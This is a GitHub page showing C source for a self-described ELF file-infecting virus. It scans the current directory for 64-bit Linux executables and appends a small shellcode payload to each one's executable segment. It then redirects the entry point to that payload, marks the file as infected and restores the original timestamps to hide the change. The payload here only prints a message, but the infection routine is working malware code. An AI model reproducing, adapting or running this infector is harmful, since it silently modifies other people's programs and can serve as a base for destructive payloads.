-
Notifications
You must be signed in to change notification settings - Fork 0
/
virus_comments.c
executable file
·336 lines (290 loc) · 11.8 KB
/
virus_comments.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
#include <dirent.h>
#include <elf.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <utime.h>
// #############################################################################
// #############################################################################
// #############################################################################
static unsigned char infection[82] = {
0x50, 0x57, 0x56, 0x52, 0x48, 0x31, 0xff, 0x48, 0x31, 0xc0, 0xb0, 0x01, 0x48, 0x31,
0xf6, 0x48, 0xbe, 0x75, 0x73, 0x20, 0x3b, 0x2d, 0x29, 0x21, 0x0a, 0x56, 0x48, 0xbe,
0x20, 0x65, 0x6c, 0x66, 0x20, 0x76, 0x69, 0x72, 0x56, 0x48, 0xbe, 0x20, 0x49, 0x20,
0x61, 0x6d, 0x20, 0x61, 0x6e, 0x56, 0x48, 0xbe, 0x00, 0x00, 0x00, 0x00, 0x48, 0x65,
0x79, 0x21, 0x56, 0x48, 0x89, 0xe6, 0x48, 0x31, 0xd2, 0xb2, 0x20, 0x0f, 0x05, 0x5e,
0x5e, 0x5e, 0x5e, 0x5a, 0x5e, 0x5f, 0x58, 0xe9, 0x00, 0x00, 0x00, 0x00};
// #############################################################################
// #############################################################################
// #############################################################################
static int readFileNamesInDir(char* inDir, char* ownFileName);
static int elfCheckFile(Elf64_Ehdr* hdr);
static int elfCheck64Bit(Elf64_Ehdr* hdr);
static int getEnvAddr(FILE* entry_file, char* targetFileName);
static void writeToElf(FILE* entry_file, char* targetFileName);
static int findInfectionPhdr(Elf64_Phdr const* phdr, int count);
static void* mapFile(char const* filename, size_t* psize, struct utimbuf* utimbuf);
// #############################################################################
// #############################################################################
// #############################################################################
#define DEBUG_LOG1 1
#define DEBUG_LOG2 1
#define ERROR_LOG 1
const long unsigned int youWasHacked = 0xfeaffeaffeaffeaf;
// #############################################################################
// #############################################################################
// #############################################################################
int main(int argc, char** argv) {
readFileNamesInDir("./", argv[0]);
return 0;
}
// #############################################################################
// #############################################################################
// #############################################################################
static int readFileNamesInDir(char* inDir, char* ownFileName) {
// remove for later skipping from current file name
if (ownFileName[0] == '.' && ownFileName[1] == '/')
ownFileName += 2;
DIR* FD = opendir(inDir);
#if DEBUG_LOG2
printf("%s\n", "------------------------------");
printf("Start reading dir: %s\n", inDir);
printf("By skipping:\n");
printf("- %s\n", ownFileName);
printf("- %s\n", ".");
printf("- %s\n", "..");
printf("%s\n", "------------------------------");
printf("%s\n", " ");
#endif
if (NULL != FD) {
struct dirent* in_file = readdir(FD);
while (in_file) {
char* filename = malloc(strlen(in_file->d_name) + 1);
strcpy(filename, in_file->d_name);
in_file = readdir(FD);
// skip what is not needed
if (!strcmp(filename, "."))
continue;
if (!strcmp(filename, ".."))
continue;
if (!strcmp(filename, ownFileName))
continue;
#if DEBUG_LOG2
printf("%s\n", "------------------------------");
printf("Files found:\n");
printf("- %s\n", filename);
#endif
// open file
FILE* entry_file = fopen(filename, "rwb+");
if (entry_file != NULL) {
Elf64_Ehdr ehdr;
if (fread(&ehdr, sizeof(ehdr), 1, entry_file) == 1) {
if (elfCheckFile(&ehdr)) {
if (elfCheck64Bit(&ehdr)) {
if (ehdr.e_entry != 0) {
#if DEBUG_LOG2
printf(" CHECK: '%s' is an ELF file, in 64-Bit and executable\n", filename);
#endif
if (!getEnvAddr(entry_file, filename))
break;
}
#if ERROR_LOG
else
fprintf(stderr, " ERROR: '%s' is executable\n", filename);
#endif
}
#if ERROR_LOG
else
fprintf(stderr, " ERROR: '%s' is not ELF 64-Bit version\n", filename);
#endif
}
#if ERROR_LOG
else
fprintf(stderr, " ERROR: '%s' is not an ELF file\n", filename);
#endif
}
#if ERROR_LOG
else
fprintf(stderr, "ERROR: fread: %s\n", strerror(errno));
#endif
fclose(entry_file);
}
#if ERROR_LOG
else
fprintf(stderr, "ERROR: Failed to open entry file - %s\n", strerror(errno));
#endif
#if DEBUG_LOG2
printf("%s\n", "------------------------------");
printf("\n", "");
#endif
}
}
#if ERROR_LOG
else
fprintf(stderr, "ERROR: Failed to open input directory - %s\n", strerror(errno));
#endif
return 0;
}
// #############################################################################
// #############################################################################
// #############################################################################
static int elfCheckFile(Elf64_Ehdr* hdr) {
if (!hdr) return 0;
if (hdr->e_ident[EI_MAG0] != ELFMAG0) return 0;
if (hdr->e_ident[EI_MAG1] != ELFMAG1) return 0;
if (hdr->e_ident[EI_MAG2] != ELFMAG2) return 0;
if (hdr->e_ident[EI_MAG3] != ELFMAG3) return 0;
return 1;
}
static int elfCheck64Bit(Elf64_Ehdr* hdr) {
if (!hdr) return 0;
if (hdr->e_ident[EI_CLASS] != ELFCLASS64) return 0;
return 1;
}
// #############################################################################
// #############################################################################
// #############################################################################
static int getEnvAddr(FILE* entry_file, char* targetFileName) {
long unsigned int youHackedCheck;
fseek(entry_file, 0L - sizeof(youWasHacked), SEEK_END);
fread(&youHackedCheck, sizeof youWasHacked, 1, entry_file);
#if DEBUG_LOG2
printf("test: 0x%" PRIx64 "\n", youWasHacked);
printf("test: 0x%" PRIx64 "\n", youHackedCheck);
#endif
if (youHackedCheck != youWasHacked) {
#if DEBUG_LOG2
printf("File '%s' was not hacked, will now marked and then hacked!\n", targetFileName);
#endif
writeToElf(entry_file, targetFileName);
fseek(entry_file, 0L - sizeof(youWasHacked), SEEK_END);
fwrite(&youWasHacked, sizeof youWasHacked, 1, entry_file);
return 0;
} else {
#if DEBUG_LOG2
printf("%s\n", "__________________________________");
printf("File '%s' always hacked and will skipped!\n", targetFileName);
printf("%s\n", "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!");
#endif
return 1;
}
}
// #############################################################################
// #############################################################################
// #############################################################################
static void writeToElf(FILE* entry_file, char* targetFileName) {
// map the file for better work
struct utimbuf timestamps;
size_t filesize;
char* image = mapFile(targetFileName, &filesize, ×tamps);
if (image != NULL) {
// get elf header
Elf64_Ehdr* ehdr = (Elf64_Ehdr*)image;
// find elf section. text to expand it and add our infection there
int elf_section_text = -1;
Elf64_Phdr* phdr = (Elf64_Phdr*)(image + ehdr->e_phoff);
elf_section_text = findInfectionPhdr(phdr, ehdr->e_phnum);
#if ERROR_LOG
if (elf_section_text < 0)
fprintf(stderr, "ERROR: %s - unable to find a usable infection point - %s\n", targetFileName, strerror(errno));
if ((phdr[elf_section_text].p_offset + phdr[elf_section_text].p_filesz) >= filesize)
fprintf(stderr, "ERROR: %s - invalid program segment in header table. - %s\n", targetFileName, strerror(errno));
#endif
// define default values
// _____________________________
if (elf_section_text > 0 && (phdr[elf_section_text].p_offset + phdr[elf_section_text].p_filesz) < filesize) {
Elf64_Off virus_include_position = phdr[elf_section_text].p_vaddr + phdr[elf_section_text].p_filesz;
off_t virus_include_position_offset = virus_include_position + sizeof infection;
off_t virus_callback_offset = ehdr->e_entry - (virus_include_position + sizeof infection);
#if DEBUG_LOG1
printf("%s\n", "***********************************");
printf("Key check for file: %s\n", targetFileName);
printf(" - target elf section text is: 0x%" PRIx64 "\n", elf_section_text);
printf(" - target elf pointer is: 0x%" PRIx64 "\n", ehdr->e_entry);
printf(" - infection size is: 0x%" PRIx64 "\n", sizeof infection);
printf(" - infection include pos is: 0x%" PRIx64 "\n", virus_include_position);
printf(" - infection include pos end is: 0x%" PRIx64 "\n", virus_include_position_offset);
printf(" - infection callback target is: 0x%" PRIx64 "\n", virus_callback_offset);
printf("%s\n", "***********************************");
#endif
if (virus_callback_offset > 0x7FFFFFFFL || virus_callback_offset < -0x80000000L) {
#if ERROR_LOG
fprintf(stderr, "ERROR: %s - cannot infect program: relative jump >2GB.- %s\n", targetFileName, strerror(errno));
#endif
} else {
*(Elf64_Word*)(infection + sizeof infection - 4) = (Elf64_Word)virus_callback_offset;
ehdr->e_entry = virus_include_position;
memcpy(image + phdr[elf_section_text].p_offset + phdr[elf_section_text].p_filesz,
infection, sizeof infection);
phdr[elf_section_text].p_filesz += sizeof infection;
phdr[elf_section_text].p_memsz += sizeof infection;
utime(targetFileName, ×tamps);
}
}
} else {
#if ERROR_LOG
fprintf(stderr, "ERROR: %s - failed open file - %s\n", targetFileName, strerror(errno));
#endif
}
}
// #############################################################################
// #############################################################################
// #############################################################################
// #############################################################################
// #############################################################################
// #############################################################################
static int findInfectionPhdr(Elf64_Phdr const* phdr, int count) {
Elf64_Off pos, endpos;
int i, j;
for (i = 0; i < count; ++i)
if (phdr[i].p_filesz > 0 && phdr[i].p_filesz == phdr[i].p_memsz && (phdr[i].p_flags & PF_X)) {
pos = phdr[i].p_offset + phdr[i].p_filesz;
endpos = pos + sizeof infection;
for (j = 0; j < count; ++j)
if (phdr[j].p_offset >= pos && phdr[j].p_offset < endpos && phdr[j].p_filesz > 0)
break;
if (j == count)
return i;
}
return -1;
}
static void* mapFile(char const* filename, size_t* psize, struct utimbuf* utimbuf) {
struct stat stat;
void* ptr;
int fd;
fd = open(filename, O_RDWR);
if (fd < 0) {
#if ERROR_LOG
fprintf(stderr, "ERROR: %s - %s\n", filename, strerror(errno));
#endif
}
if (fstat(fd, &stat)) {
#if ERROR_LOG
fprintf(stderr, "ERROR: %s - %s\n", filename, strerror(errno));
#endif
}
if (!S_ISREG(stat.st_mode)) {
#if ERROR_LOG
fprintf(stderr, "ERROR: %s - not an ordinary file. - %s\n", filename, strerror(errno));
#endif
}
ptr = mmap(NULL, stat.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (ptr == MAP_FAILED) {
#if ERROR_LOG
fprintf(stderr, "ERROR: %s - %s\n", filename, strerror(errno));
#endif
return NULL;
}
if (psize)
*psize = (size_t)stat.st_size;
if (utimbuf) {
utimbuf->actime = stat.st_atime;
utimbuf->modtime = stat.st_mtime;
}
return ptr;
}